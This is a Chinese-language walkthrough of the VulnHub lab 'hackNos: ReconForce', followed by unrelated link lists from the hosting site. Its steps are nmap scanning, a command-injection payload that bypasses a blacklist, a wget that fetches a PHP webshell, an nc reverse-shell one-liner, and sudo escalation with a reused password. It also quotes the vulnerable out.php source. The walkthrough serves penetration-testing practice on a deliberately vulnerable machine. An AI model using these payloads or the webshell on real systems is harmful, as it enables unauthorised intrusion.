HACKNOS: RECONFORCE (V1.1)

下载地址:hackNos: ReconForce (v1.1) ~ VulnHub

1 信息收集

1.1 端口扫描

$ nmap -A -p - -T4 192.168.56.104 -oA RECONFORCE
Nmap scan report for 192.168.56.104
Host is up (0.00080s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6f:96:94:65:72:80:08:93:23:90:20:bc:76:df:b8:ec (RSA)
| 256 6f:bb:49:1a:a9:b6:e5:00:84:19:a0:e4:2b:c4:57:c4 (ECDSA)
|_ 256 ce:3d:94:05:f4:a6:82:c4:7f:3f:ba:37:1d:f6:23:b0 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Recon_Web
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1.2 ftp分析

# ftp目录下没有东东
$ ftp Anonymous@192.168.56.104
Connected to 192.168.56.104.
220 "Security@hackNos".
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||38126|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 117 4096 Jan 06 2020 .
drwxr-xr-x 2 0 117 4096 Jan 06 2020 ..
226 Directory send OK.

1.3 后台目录扫描

$ dirsearch -u http://192.168.56.104/
Target: http://192.168.56.104/ [11:16:55] Starting:
[11:17:07] 301 - 314B - /css -> http://192.168.56.104/css/
[11:17:10] 200 - 660B - /index.html Task Completed

1.2.1 目录分析

  1. http://192.168.56.104/5ecure/存在基础认证。

  2. 结合ftp所给的提示,尝试使用admin:Security@hackNos登录,成功认证。

  3. 尝试输入127.0.0.1执行ping操作

2 Web-Shell利用

2.1 尝试命令执行

  1. http://192.168.56.104/5ecure/认证后的页面中,利用BurpSuite测试命令注入

    POST /5ecure/out.php HTTP/1.1
    Host: 192.168.56.104
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 32
    Origin: http://192.168.56.104
    Authorization: Basic YWRtaW46U2VjdXJpdHlAaGFja05vcw==
    Connection: close
    Referer: http://192.168.56.104/5ecure/
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1 ip=127.0.0.1|id&Submit=Ping_Scan
    • 成功实现命令注入:

      HTTP/1.1 200 OK
      Date: Mon, 04 Apr 2022 11:44:15 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 67
      Connection: close
      Content-Type: text/html; charset=UTF-8 <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
      </pre>
  2. 查看当前目录下的文件

    // 命令:
    ip=127.0.0.1|ls&Submit=Ping_Scan //当前目录下的文件
    css
    index.html
    logo.png
    out.php
  3. 查看out.php源码,可知当使用|cmd时可以绕过限制

    # 命令:
    ip=127.0.0.1|cat+out.php&Submit=Ping_Scan
    <?php
    # `out.php`源码
    if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]); // Set blacklist
    $substitutions = array(
    '&' => '',
    ';' => '',
    '| ' => '',
    '-' => '',
    '$' => '',
    '(' => '',
    ')' => '',
    '`' => '',
    '||' => '',
    ); // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows
    $cmd = shell_exec( 'ping ' . $target );
    }
    else {
    // *nix
    $cmd = shell_exec( 'ping -c 4 ' . $target );
    } // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
    } ?>

2.2 反弹Shell

  1. 在目标系统中,利用命令注入下载一句话木马

    # 下载一句话木马
    ip=127.0.0.1|wget+"http://192.168.56.1/webshell.php"&Submit=Ping_Scan #查看所下载的一句话木马
    ip=127.0.0.1|cat+webshell.php&Submit=Ping_Scan
    # 回显结果
    <?php system($_POST['acmd']);?>
  2. 构造如下请求反弹shell

    POST /5ecure/webshell.php HTTP/1.1
    Host: 192.168.56.104
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Authorization: Basic YWRtaW46U2VjdXJpdHlAaGFja05vcw==
    Connection: close
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 120 acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.56.102+2333+>/tmp/getshell
  3. 成功反弹shell

    $ nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.56.102] from (UNKNOWN) [192.168.56.104] 36560
    /bin/sh: 0: can't access tty; job control turned off
    $ python3 -c "import pty;pty.spawn('/bin/bash')"
    www-data@hacknos:/var/www/recon/5ecu

2.4 切换python Shell

python3 -c "import pty;pty.spawn('/bin/bash')"

3 提权

3.1 收集当前系统信息

  1. 查看当前系统的cap权限设置

    www-data@hacknos:/tmp$ getcap -r / 2>/dev/null
    /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
    /usr/bin/mtr-packet = cap_net_raw+ep
    /usr/bin/ping = cap_net_raw+ep
    /usr/bin/traceroute6.iputils = cap_net_raw+ep

3.2 切换用户

  1. 查找半天也没有什么思路,突然想到,是否可以使用ftp提示的密码登录recon账户呢?

    www-data@hacknos:/var/www/recon/5ecure$ su - recon
    Password: Security@hackNos recon@hacknos:~$ id
    uid=1000(recon) gid=119(docker) groups=119(docker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lxd)

3.3 收集recon信息

  1. 得到recon用户的flag

    recon@hacknos:~$ cat user
    cat user.txt
    ########################################### MD5HASH: bae11ce4f67af91fa58576c1da2aad4b
  2. 查看sudo权限:拥有所有权限

    recon@hacknos:~$ sudo -l
    [sudo] password for recon: Security@hackNos Matching Defaults entries for recon on hacknos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User recon may run the following commands on hacknos:
    (ALL : ALL) ALL

3.4 sudo 提权

recon@hacknos:~$ sudo -i
root@hacknos:~# cat root.txt
$$\ $$$$$$$\
\$$\ $$ __$$\
$$$$\ \$$\ $$ | $$ | $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$$\
\____| \$$\ $$$$$$$ |$$ __$$\ $$ _____|$$ __$$\ $$ __$$\
$$$$\ $$ | $$ __$$< $$$$$$$$ |$$ / $$ / $$ |$$ | $$ |
\____|$$ / $$ | $$ |$$ ____|$$ | $$ | $$ |$$ | $$ |
$$ / $$ | $$ |\$$$$$$$\ \$$$$$$$\ \$$$$$$ |$$ | $$ |
\__/ \__| \__| \_______| \_______| \______/ \__| \__| MD5HASH: bae11ce4f67af91fa58576c1da2aad4b Author: Rahul Gehlaut WebBlog: www.hackNos.com Twitter: @rahul_gehlaut

OS-HACKNOS-2.1的更多相关文章

  1. NodeJs之OS

    OS Node.js提供了一些基本的底层操作系统的模块OS. API var os = require('os'); console.log('[arch] 操作系统CPU架构'+os.arch()) ...

  2. Node.js:OS模块

    os模块,可以用来获取操作系统相关的信息和机器物理信息,例如操作系统平台,内核,cpu架构,内存,cpu,网卡等信息. 使用如下所示: const os = require('os'); var de ...

  3. Xamarin+Prism开发详解四:简单Mac OS 虚拟机安装方法与Visual Studio for Mac 初体验

    Mac OS 虚拟机安装方法 最近把自己的电脑升级了一下SSD固态硬盘,总算是有容量安装Mac 虚拟机了!经过心碎的安装探索,尝试了国内外的各种安装方法,最后在youtube上找到了一个好方法. 简单 ...

  4. Mac OS 使用 Vagrant 管理虚拟机(VirtualBox)

    Vagrant(官网.github)是一款构建虚拟开发环境的工具,支持 Window,Linux,Mac OS,Vagrant 中的 Boxes 概念类似于 Docker(实质是不同的),你可以把它看 ...

  5. Mac OS、Ubuntu 安装及使用 Consul

    Consul 概念(摘录): Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,比如 Airbnb 的 SmartStac ...

  6. java 利用ManagementFactory获取jvm,os的一些信息--转

    原文地址:http://blog.csdn.net/dream_broken/article/details/49759043 想了解下某个Java项目的运行时jvm的情况,可以使用一些监控工具,比如 ...

  7. 让 ASP.NET vNext 在 Mac OS 中飞呀飞。。。

    写在前面 阅读目录: 娓娓道来 Install ASP.NET vNext Command Line Tools 安装 Homebrew 使用 Homebrew,安装 KVM Install Subl ...

  8. Mac OS X 上编写 ASP.NET vNext (二) IDE配置

    上一篇中介绍了如何在OS X上搭建.Net运行时.不过光有运行时还不够,还需要有一个好用的IDE,有了IDE的支持,OS X上的开发才称为可能. 和上篇类似,这里先列举出具体步骤,个人可以根据自己的情 ...

  9. 在Mac OS X上安装ASP.NET 5(译文)

    ASP.NET 5 运行在包括OS X的可用于多个平台的.NET Execution Environment(DNX)上.本文介绍如何在OS X上通过HomeBrew安装DNX和ASP.NET 5. ...

  10. Python标准模块--os

    1.模块简介 os模块主要包含普遍的操作系统相关操作,如果开发者希望自己开发的Python应用能够与平台无关,尤其需要关注os这个模块. 2.模块使用 2.1 os模块 1. os.name,输出字符 ...

随机推荐

  1. postgresql函数:满足特定格式的表及指定日期前的删除

    -- 一.现有函数-- 1.现有函数调用select "ap"."delete_analysis_backup"('ap');-- 2.函数内容CREATE O ...

  2. day34-JSON&Ajax02

    JSON&Ajax02 1.Ajax基本介绍 1.1Ajax是什么 AJAX 即"Asynchronous JavaScript And XML"(异步JavaScript ...

  3. MVT模型与MVC模型的区别

    1. MVC设计模式 MVC 是 Model-View-Controller 的缩写,其中每个单词都有其不同的含义: Modle 代表数据存储层,是对数据表的定义和数据的增删改查: View 代表视图 ...

  4. Window系统的mysql数据库定时备份

    原文:Window系统的mysql数据库定时备份 - Stars-One的杂货小窝 最近老大提到了数据库备份的功能,由于服务器是window系统的,所以研究了下备份的方案,特此记录 主要是实现每天定时 ...

  5. Spring之Bean注入Spring容器中的方式

    向spring容器中加入bean有以下方式: 通过<Bean>标签 @Configuration + @Bean @Component + 组件扫描 @Import导入[见 Spring注 ...

  6. 【转载】EXCEL VBA 选取非连续的单元格区域——Areas集合

    出处:http://www.360doc.com/content/21/1113/17/77710807_1004011085.shtml 前面我们讲的大多是**并操作单个的单元格,或者是连续的单元格 ...

  7. Jmeter——循环控制器中实现Counter计数器的次数重置

    近期在使用Jmeter编写个辅助测试的脚本,用到了多个Loop Controller和Counter. 当时想的思路就是三个可变的数量值,使用循环实现:但第三个可变值的数量次数,是基于第二次循环中得到 ...

  8. Mybatis-plus实现数据库的增删改查操作

    目录 1.MybatisPlus简介 2.MybatisPlus注解介绍 3.常用方法 4.SpringBoot整合MybatisPlus实现增删改查的一个简单Demo 5.参考资料 1.Mybati ...

  9. Dubbo架构设计与源码解析(二) 服务注册

    作者:黄金 一.Dubbo简介 Dubbo是一款典型的高扩展.高性能.高可用的RPC微服务框架,用于解决微服务架构下的服务治理与通信问题.其核心模块包含 [RPC通信] 和 [服务治理] ,其中服务治 ...

  10. Springcloud源码学习笔记1—— Zuul网关原理

    系列文章目录和关于我 源码基于 spring-cloud-netflix-zuul-2.2.6.RELEASE.jar 需要具备SpringMVC源码功底 推荐学习https://www.cnblog ...